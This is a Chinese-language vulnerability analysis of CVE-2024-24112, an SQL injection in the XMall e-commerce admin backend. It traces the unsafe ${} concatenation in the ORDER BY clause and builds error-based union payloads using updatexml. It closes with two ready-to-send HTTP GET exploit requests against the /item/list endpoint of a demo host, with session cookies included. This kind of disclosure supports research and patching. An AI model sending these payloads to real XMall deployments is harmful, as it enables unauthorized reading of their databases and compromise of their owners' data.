CVE-2024-24112 XMall后台管理系统 SQL 注入漏洞分析

时间:2024-03-19 12:56:48

------作者本科毕业设计项目 基于 Spring Boot + Vue 开发而成......

[Affected Component]

  • /item/list

  • /item/listSearch

  • /sys/log

  • /order/list

  • /member/list (need time-based blind injection)

  • /member/list/remove

项目下载地址

Exrick/xmall: 基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等 (github.com)https://github.com/Exrick/xmall/tree/master

漏洞点分析

Controller层-00 注意order[0][dir] orderDir的传参

跟入getItemSearchList 方法

跟入selectItemByMultiCondition方法

注意到335行 与 336行 用${} 的方法进行sql语句进行拼接

进一步利用分析

分析如何如何才能进一步利用

首先order[0][column] 要传递一个数字 用来取数组下标,而这个变量之后还拼接到了order by 第一个条件中(${orderCol}),

odderDir 要想进行sql注入必须得考虑前面有数字,

所以这样的好号 在后面直接加入if() 或者 updatexml 进行sql注入显然是不行的 ,我们还可以考虑下union select。

简单的进行下sql oder by 注入,结果都失败了。

不过由于后端没有屏蔽掉sql报错,在进行测试的时候我们发现了底层执行sql的逻辑

既然这样的话,那么我们就不用自己那软件在去测了,

select count(0) from (SELECT * FROM tb_item WHERE (title LIKE ? OR sell_point LIKE ? OR price LIKE ? OR id LIKE ?) ORDER BY id test)

研究上面的语句,如何进入sql注入。

其中test显然是我们可控的变量,要考虑union+select 首先的用")"闭合前面"(",闭合之后,我们就可以使用

union+select ,不过在这之间遇到了一点小情况,在我本地进行测试执行如下sql语句时

SELECT COUNT(0) FROM (SELECT * FROM blade_user)

sql无法执行

上网查一下解决方式 ,发现为子查询指定别名 a便可以解决报错问题

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a

这样的话select执行完整 ,我们可以进行联合注入了

有如下的payload进行测试

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias union select updatexml(1,concat(0x7e,user(),0x7e),1)

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a union select updatexml(1,concat(0x7e,user(),0x7e),1)

ok ,现在一切准备就绪,开始sql注入了

漏洞复现
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)+AS+subquery_alias+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close

 

GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)a+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close